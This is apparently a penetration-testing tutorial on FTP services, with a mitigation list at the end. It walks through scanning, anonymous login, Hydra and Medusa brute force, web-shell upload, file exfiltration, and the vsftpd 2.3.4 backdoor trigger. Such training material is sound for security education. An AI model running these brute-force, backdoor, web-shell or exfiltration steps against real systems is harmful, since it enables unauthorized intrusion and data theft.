FTP

FTP Services

File Transfer Protocol (FTP) is one of the oldest and most widely used protocols for transferring files between systems over a network. Despite its age and inherent security limitations, FTP remains common in many environments, making it an important target for penetration testers.

Protocol Overview

FTP operates using two channels:

  • Control Channel (Port 21): Handles commands and responses

  • Data Channel (Port 20 or random high port in passive mode): Transfers actual file data

Common Variants

  • FTP: Standard unencrypted FTP (Port 21)

  • FTPS: FTP with SSL/TLS encryption

  • SFTP: Not FTP, but a separate file transfer protocol that runs over SSH

Enumeration Techniques

Basic Port Scanning

# Identify FTP services
nmap -p 21 -sV <target>

# More comprehensive scan with scripts
nmap -p 21 --script=ftp-* <target>

FTP servers typically display a banner upon connection that can reveal valuable information:

nc -nv <target> 21
telnet <target> 21

Example output:

220 ProFTPD 1.3.5a Server (FTP Server) [10.129.14.136]

This reveals software name and version information that can be used to identify potential vulnerabilities.

Authentication Methods

Anonymous Access

One of the most common misconfigurations is allowing anonymous access:

ftp <target>
Username: anonymous
Password: anonymous@domain.com

If successful, this grants access without valid credentials - a significant security issue.

Brute Force Attacks

When anonymous access is not available, credential brute forcing can be attempted:

# Using Hydra
hydra -L users.txt -P passwords.txt ftp://<target>

# Using Medusa
medusa -u user -P passwords.txt -h <target> -M ftp

Example Hydra execution:

hydra -l user -P /usr/share/wordlists/rockyou.txt 10.129.14.136 ftp
[21][ftp] host: 10.129.14.136   login: user   password: password123

Common FTP Commands

Once authenticated, these commands are useful for interacting with the FTP server:

Command
Description

USER username

Authentication username

PASS password

Authentication password

HELP

Show available commands

PWD

Print working directory

DIR

List directory contents

CWD directory

Change working directory

GET filename

Download file

PUT filename

Upload file

PASV

Enable passive mode

QUIT

End session

Vulnerability Assessment

Common Vulnerabilities

  1. Anonymous Authentication: Allows access without valid credentials

  2. Cleartext Credentials: FTP transmits credentials in plaintext

  3. Outdated Software: Many deployments run older versions with known vulnerabilities

  4. Directory Traversal: Some implementations allow navigating outside intended directories

  5. Brute Force Susceptibility: Often lacks account lockout mechanisms

Software-Specific Vulnerabilities

FTP Server
Notable Vulnerabilities

vsftpd 2.3.4

Backdoor vulnerability

ProFTPD < 1.3.5

Multiple RCE vulnerabilities

Pure-FTPd < 1.0.47

TLS/SSL vulnerabilities

FileZilla Server < 0.9.60

Multiple DoS vulnerabilities

Data Exfiltration and Access

Retrieving Files

Once authenticated to an FTP server, files can be retrieved:

ftp> get sensitive_file.txt

For multiple files:

ftp> prompt off
ftp> mget *.txt

Uploading Files

If write permissions exist, this can be leveraged for exploitation:

ftp> put shell.php

For web servers that expose FTP directories, uploading web shells can lead to remote code execution.

Common Attack Scenarios

FTP Directory Exposure in Web Root

When FTP directories are accessible via web servers:

  1. Authenticate to FTP

  2. Upload web shell to FTP directory

  3. Execute shell via web browser

Configuration File Access

FTP servers may expose sensitive configuration files:

ftp> get ftpusers
ftp> get user_list
ftp> get vsftpd.conf

These files often contain plaintext credentials or security settings.

Abusing FTP for Data Exfiltration

In environments with restricted outbound connections, FTP can sometimes be used to exfiltrate data:

# From compromised system
ftp> put stolen_data.zip

Misconfiguration Detection

Identifying Writable Directories

# Test ability to create directories
ftp> mkdir test

# Test file upload
ftp> put test.txt

Checking Permissions

# List files with permissions
ftp> ls -la

Example output:

drwxr-xr-x 2 user     group     4096 Aug 1 12:00 .
drwxr-xr-x 4 user     group     4096 Aug 1 12:00 ..
-rw-r--r-- 1 user     group     1234 Aug 1 12:00 confidential.txt

Testing Directory Traversal

# Attempt to navigate outside intended directory
ftp> cd ../
ftp> cd /etc

FTP Penetration Testing Methodology

  1. Discovery: Identify FTP services on the network

  2. Banner Analysis: Gather version information

  3. Authentication Testing: Try anonymous login, then credential attacks

  4. Directory Enumeration: Map accessible directories and permissions

  5. Configuration Review: Look for misconfigurations and security issues

  6. Vulnerability Testing: Check for known vulnerabilities based on version

  7. Exploitation: Attempt appropriate exploits

  8. Post-Exploitation: Extract valuable information or establish persistence

Mitigation Strategies

When reporting FTP vulnerabilities, consider recommending:

  1. Disable anonymous access unless explicitly required

  2. Implement FTPS or SFTP instead of plain FTP

  3. Restrict access to specific IP addresses

  4. Implement strong password policies

  5. Run FTP servers in chroot environments

  6. Keep server software updated

  7. Implement file integrity monitoring

  8. Consider modern alternatives to FTP

Practical Commands for FTP Testing

Automating Anonymous Access Checks

# Create a script to test multiple hosts
for ip in $(cat targets.txt); do
  echo "Testing $ip"
  timeout 3 bash -c "echo -e 'anonymous\nanonymous@domain.com\nquit' | ftp -n $ip 2>/dev/null"
done

Downloading All Files Recursively

# Using wget for recursive download
wget -r ftp://anonymous:anonymous@$ip

Testing Command Execution Vulnerabilities

For vulnerable versions like vsftpd 2.3.4:

# Triggering backdoor
telnet <target> 21
USER backdoor:)
PASS any

By understanding FTP services and their security implications, penetration testers can effectively identify and exploit misconfigurations and vulnerabilities in these systems.

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